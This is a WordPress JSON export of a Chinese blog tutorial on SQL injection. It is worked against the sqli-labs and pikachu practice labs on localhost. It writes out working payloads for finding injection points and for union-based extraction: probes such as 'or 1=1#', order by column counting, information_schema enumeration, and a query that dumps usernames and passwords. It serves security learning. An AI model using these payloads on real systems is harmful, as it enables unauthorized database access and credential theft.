{"id":125,"date":"2025-01-17T22:25:50","date_gmt":"2025-01-17T14:25:50","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=125"},"modified":"2025-01-17T22:25:52","modified_gmt":"2025-01-17T14:25:52","slug":"01-%e8%81%94%e5%90%88%e6%9f%a5%e8%af%a2%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/17\/01-%e8%81%94%e5%90%88%e6%9f%a5%e8%af%a2%e6%b3%a8%e5%85%a5\/","title":{"rendered":"01.\u8054\u5408\u67e5\u8be2\u6ce8\u5165"},"content":{"rendered":"

\u4e00\u3001sql\u6ce8\u5165\u68c0\u6d4b\u65b9\u5f0f<\/h3>\n

1\u3001\u5b57\u7b26\u578b\u68c0\u6d4b<\/h3>\n

\u5b57\u7b26\u578b\u5224\u65adurl\u662f\u5426\u5b58\u5728\u6ce8\u5165<\/p>\n

\u5728url\u680f\u7684\u7f51\u5740\u4e0a\u6dfb\u52a0\u4e00\u4e2a\u5355\u5f15\u53f7<\/p>\n

url: http:\/\/localhost\/Less-1\/?id=1′]<\/p>\n

\u4f1a\u663e\u793a\u8fd9\u6837\u7684\u62a5\u9519\uff0c\u5927\u81f4\u610f\u601d\u662f\u4f60\u6709\u4e00\u4e2asql\u8bed\u6cd5\u9519\u8bef\uff0c\u5f53\u5728\u540e\u9762\u52a0\u4e86%23\uff08url\u7f16\u7801\uff09
\n\u4e00\u4e2a\u6ce8\u91ca\u7b26\u540e\u4f1a\u6b63\u5e38\u663e\u793a\u3002<\/p>\n

\u5f53\u6211\u4eec\u5728url\u680f\u7f51\u5740\u7684\u5355\u5f15\u53f7\u540e\u9762\u8f93\u5165and 1=1 \u65f6\u9875\u9762\u663e\u793a\u6b63\u5e38\u3002<\/p>\n

http:\/\/localhost\/Less-1\/?id=1′ and 1=1#
\n\u5982\u679c#\u4e0d\u884c\uff0c\u53ef\u4ee5\u6539\u4e3a%23<\/p>\n

\u5f53\u6211\u4eec\u628a1=1\u6362\u62101=2\u65f6\u9875\u9762\u62a5\u9519<\/p>\n

http:\/\/localhost\/Less-1\/?id=1′ and 1=2#<\/p>\n

\u6216\u8fd9\u8fd9\u6837\u7406\u89e3<\/h4>\n

\"Pasted<\/div>
\n\u7b2c\u4e00\u5173\u6ce8\u5165\u4e00\u4e2a1\u2019\uff0c\u9519\u8bef\u56de\u663e\u51fa\u4e0b\u9762\u5185\u5bb9\uff0c\u5176\u4e2d1\u2018\u662f\u6ce8\u5165\u7684\u5185\u5bb9\uff0c0,1\u540e\u9762\u7684\u5355\u5f15\u53f7\u548c\u6700\u524d\u9762\u7684\u5355\u5f15\u53f7\u662f\u4e00\u5bf9\uff0c\u5269\u4e0b\u7684\u4e24\u4e2a\u5355\u5f15\u53f7\u662f\u4e00\u5bf9\uff0c\u6700\u540e\u591a\u51fa\u4e00\u4e2a\u5355\u5f15\u53f7\u3002\u9519\u8bef\u56de\u663e\u51fa\u4e0a\u9762\u5185\u5bb9\u8bf4\u660e\u662f\u5b57\u7b26\u578b\u6ce8\u5165\u3002<\/p>\n

2\u3001\u6570\u5b57\u578b\u6ce8\u5165\u68c0\u6d4b<\/h3>\n

\u76f4\u63a5\u8f93\u5165and 1=1\u770b\u770b\u3002<\/p>\n

http:\/\/localhost\/Less-2\/?id=1 and 1=1<\/p>\n

\u53d1\u73b0\u662f\u53ef\u4ee5\u6b63\u5e38\u663e\u793a\u9875\u9762\u7684\uff0c\u90a3\u4e48\u6211\u4eec\u5728\u8fdb\u4e00\u6b65\u5224\u65ad1=2\u65f6\u3002<\/p>\n

http:\/\/localhost\/Less-2\/?id=1 and 1=2<\/p>\n

\u53d1\u73b0\u9875\u9762\u6709\u53d8\u5316\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u5224\u65ad\u4ed6\u662f\u4e00\u4e2a\u6570\u5b57\u578b\u7684\u6ce8\u5165\uff0c\u56e0\u4e3a\u6570\u5b57\u578b\u7684\u6ce8\u5165\u662f==\u4e0d\u7528==\u52a0\u5f15\u53f7\u7684\u3002\u5c31\u7c7b\u4f3c\u4e8eint\u4e00\u6837\u3002<\/p>\n

\u6216\u8005\u8fd9\u6837\u7406\u89e3<\/h4>\n

\"Pasted<\/div>
\n\u7b2c\u4e8c\u5173\u6ce8\u5165\u4e00\u4e2a1\u2019\uff0c\u9519\u8bef\u56de\u663e\u51fa\u4e0b\u9762\u5185\u5bb9\uff0c\u6ca1\u6709\u56de\u663e\u51fa\u6ce8\u5165\u76841\u2019\u8bf4\u660e\u8be5\u6ce8\u5165\u7c7b\u578b\u662f\u6570\u5b57\u578b<\/p>\n

3\u3001\u641c\u7d22\u578b\u6ce8\u5165\u68c0\u6d4b<\/h3>\n

\u5728\u641c\u7d22\u6846\u91cc\u9762\u8f93\u5165\u5355\u5f15\u53f7\u2019\u6765\u6d4b\u8bd5\u3002<\/p>\n

http:\/\/127.0.0.1\/pikachu-master\/vul\/sqli\/sqli_search.php?name=’&submit=\u00e6\u0090\u009c\u00e7\u00b4\u00a2<\/p>\n

\u53d1\u73b0\u62a5\u9519\uff0c\u7136\u540e\u6ce8\u91ca\u7b26\u53f7\u540e\u770b\u770b\u9875\u9762\u662f\u5426\u6b63\u5e38\u3002<\/p>\n

http:\/\/127.0.0.1\/pikachu-master\/vul\/sqli\/sqli_search.php?name=’#&submit=\u00e6\u0090\u009c\u00e7\u00b4\u00a2<\/p>\n

\u9875\u9762\u6062\u590d\u6b63\u5e38\uff0c\u90a3\u4e48\u8fd9\u4e2a\u65f6\u5019\u5c31\u53ef\u4ee5\u5224\u65ad\u51fa\uff0c\u4ed6\u662f\u5b58\u5728\u641c\u7d22\u578b\u6ce8\u5165\uff0c\u90a3\u4e48\u628a\u6784\u9020\u4e00\u4e2a\u2019 or 1=1 # \u5c31\u53ef\u4ee5\u628a\u5168\u90e8\u6570\u636e\u5217\u51fa\u6765\u3002<\/p>\n

http:\/\/127.0.0.1\/pikachu-master\/vul\/sqli\/sqli_search.php?name=%27+or+1%3D1%23&submit=%E6%90%9C%E7%B4%A2#&submit=%C3%A6%C2%90%C2%9C%C3%A7%C2%B4%C2%A2<\/p>\n

4\u3001xx\u578b\u6ce8\u5165\u68c0\u6d4b<\/h3>\n

\u5728\u641c\u7d22\u6846\u91cc\u9762\u8f93\u5165\u5355\u5f15\u53f7\u6765\u5c1d\u8bd5\u3002<\/p>\n

http:\/\/127.0.0.1\/pikachu-master\/vul\/sqli\/sqli_x.php?name=%27&submit=%E6%9F%A5%E8%AF%A2<\/p>\n

\u53ef\u4ee5\u770b\u5230\u62a5\u9519\uff0c\u770b\u4ed6\u7684\u62a5\u9519\u5185\u5bb9\u63d0\u793a\u4e86\u4e00\u4e2a)\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u731c\u6d4b\u662f\u4e0d\u662f\u8fd9\u4e2a\u53c2\u6570\u9700\u8981\u7528\u62ec\u53f7\u6765\u95ed\u5408\uff0c\u90a3\u4e48\u6784\u9020\u8bed\u53e5\u2019) # \u6765\u8bd5\u8bd5\u3002<\/p>\n

http:\/\/127.0.0.1\/pikachu-master\/vul\/sqli\/sqli_x.php?name=\u2019)#&submit=%E6%9F%A5%E8%AF%A2<\/p>\n

\u53d1\u73b0\u9875\u9762\u6b63\u5e38\u663e\u793a\uff0c\u8fd9\u4e2a\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u5728\u540e\u9762\u52a0\u4e0a\u00a0 or 1=1\u3002<\/p>\n

http:\/\/127.0.0.1\/pikachu-master\/vul\/sqli\/sqli_x.php?name=\u2019)+or+1=1%23&submit=%E6%9F%A5%E8%AF%A2
\n\"Pasted<\/p>\n

\u4e8c\u3001union\u6ce8\u5165<\/h3>\n

union\u64cd\u4f5c\u7b26\u7528\u4e8e\u5408\u5e76\u4e24\u4e2a\u6216\u591a\u4e2aSQL\u8bed\u53e5\u96c6\u5408\u8d77\u6765\uff0c\u5f97\u5230\u8054\u5408\u7684\u67e5\u8be2\u7ed3\u679c\u3002
\n\u00a0

\"Pasted<\/div>
\n\u00a0
\n\u540e\u7aef\u4ee3\u7801
\n\"Pasted<\/p>\n

1.\u8f93\u51651′ union select 1,2,3 #(%23)<\/h4>\n

\u67e5\u770b\u662f\u5426\u5b58\u5728union\u6ce8\u5165
\n\"Pasted<\/p>\n

#\u540e\u9762\u7684\u8fd9\u4e00\u884c\u6ce8\u91ca
\n\"Pasted<\/p>\n

\u2018 union select 1,2,3 #
\n\"Pasted<\/p>\n

\u524d\u9762\u7684\u8bed\u53e5\u67e5\u8be2\u4e3a\u7a7a\uff0c\u6267\u884c\u540e\u9762\u7684\u8bed\u53e5,\u663e\u793a\u4f4d\u663e\u793a\u540e\u9762\u8bed\u53e5\u7684\u7ed3\u679c
\n\"Pasted<\/p>\n

\"Pasted<\/p>\n

2.order by \u67e5\u8be2\u5b57\u6bb5<\/h4>\n

union\u6ce8\u5165\u662f\u9700\u8981\u914d\u5408order by\u6765\u5224\u65ad\uff0c\u90a3\u4e48order by\u662f\u5e72\u4ec0\u4e48\u7684\u5462\uff0corder by\u662f\u5728sql\u8bed\u53e5\u540e\u9762\u8fdb\u884c\u6392\u5e8f\u7684\uff0c\u901a\u5e38\u6211\u4eec\u7528order by\u6765\u5224\u65ad\u4e3b\u67e5\u8be2\u7684==\u5b57\u6bb5\u6709\u51e0\u4f4d==\u3002
\n\u00a0

\"Pasted<\/div>
\n\u00a0\u53ea\u67093\u4e2a\u5b57\u6bb5\uff083\u5217\uff09id username password<\/p>\n

group by \u4e5f\u4e00\u6837\u00a0\"Pasted<\/p>\n

\u9776\u573a\u4e0a
\n\"Pasted<\/p>\n

3.\u663e\u793a\u4f4d\uff08\u663e\u793a\u7684name password\uff0c\u663e\u793a\u7528\u6237\u540d\uff09<\/h4>\n

\"Pasted<\/div>
\n\u663e\u793a\u6570\u636e\u5e93
\n
\"Pasted<\/div>
\n\u56e0\u4e3a\u540e\u7aef\u9650\u5b9a\u4f7f\u7528select \u4e0d\u80fd\u4f7f\u7528 show
\n
\"Pasted<\/div>
\n==\u6ce8\u610f\uff1aunion\u53ea\u80fd\u7528\u67e5\u8be2\u4e0d\u80fd\u7528show==<\/p>\n

4.union\u67e5\u8be2\u6570\u636e\u5e93\u540d<\/h4>\n

id=’125254758′ union select 1,schema_name,2 from information_schema.schemata #
\n

\"Pasted<\/div>
\n\"Pasted<\/p>\n

\u7528limit 1,1\u67e5\u8be2\u5176\u4ed6\uff0c\u53ef\u4ee5\u5c06id=1\uff0c\u56e0\u4e3alimit\u9650\u5236\u663e\u793a\u7684\u662f\u7b2c\u4e8c\u4e2a\u6570\u636e\u5e93\u540d
\n\"Pasted<\/p>\n

\u7528group_concat\u51fd\u6570\u67e5\u8be2\u6240\u6709\u540d\u79f0\u5230\u4e00\u884c\u91cc\uff0c\u5728\u7b2c\u4e8c\u4e2a\u663e\u793a\u4f4d\u4e0a\u663e\u793a\u6240\u6709\u540d\u79f0\uff0c\u518d\u8865\u9f50\u5b57\u6bb5\uff0c
\n==\u6ce8\u610f\uff1aid\u4e3a\u8868\u4e2d\u4e0d\u5b58\u5728\u7684\uff0c\u4f7f\u5f97\u7b2c\u4e00\u4e2a\u8bed\u53e5\u4e3a\u7a7a\uff0c\u663e\u793a\u4f4d\u663e\u793a\u6240\u6709\u6570\u636e\u5e93\u540d\uff0c\u56e0\u4e3a\u6b64\u65f6\u6ca1\u6709limit\u9650\u5236==
\n

\"Pasted<\/div>
\n\"Pasted<\/p>\n

\u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93
\ndatabase()
\n\"Pasted<\/p>\n

5.\u67e5\u8be2\u67d0\u4e2a\u6570\u636e\u5e93\u91cc\u7684\u8868<\/h6>\n

\"Pasted<\/div>
\nunion select 1,2,group_concat(table_name) from information_schema.tables where table_schema="mamba" #
\n
\"Pasted<\/div>
\nunion select 1,(select group_concat(schema_name) from information_schema.schemata),group_concat(table_name) from information_schema.tables where table_schema="mamba" #
\n\"Pasted<\/p>\n
6.\u67e5\u8be2\u5b57\u6bb5\u5f53\u524d\u6570\u636e\u5e93\u4e2d\u8868\u91cc\u7684\u5b57\u6bb5<\/h6>\n

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name="users"#
\n\"Pasted<\/p>\n

7.\u67e5\u8be2\u5f53\u524d\u6570\u636e\u5e93\u4e2dusers\u8868\u91cc\u7684\u6570\u636e<\/h5>\n

union select 1,group_concat(username),group_concat(password) from users%23
\n\"Pasted<\/p>\n","protected":false},"excerpt":{"rendered":"

\u4e00\u3001sql\u6ce8\u5165\u68c0\u6d4b\u65b9\u5f0f 1\u3001\u5b57\u7b26\u578b\u68c0\u6d4b \u5b57\u7b26\u578b\u5224\u65adurl\u662f\u5426\u5b58\u5728\u6ce8\u5165 \u5728url\u680f\u7684\u7f51\u5740\u4e0a\u6dfb\u52a0\u4e00\u4e2a\u5355\u5f15\u53f7 url […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,4,1],"tags":[6],"class_list":["post-125","post","type-post","status-publish","format-standard","hentry","category-sql","category-web","category-learn","tag-sql"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/125","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=125"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/125\/revisions"}],"predecessor-version":[{"id":126,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/125\/revisions\/126"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=125"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=125"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=125"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}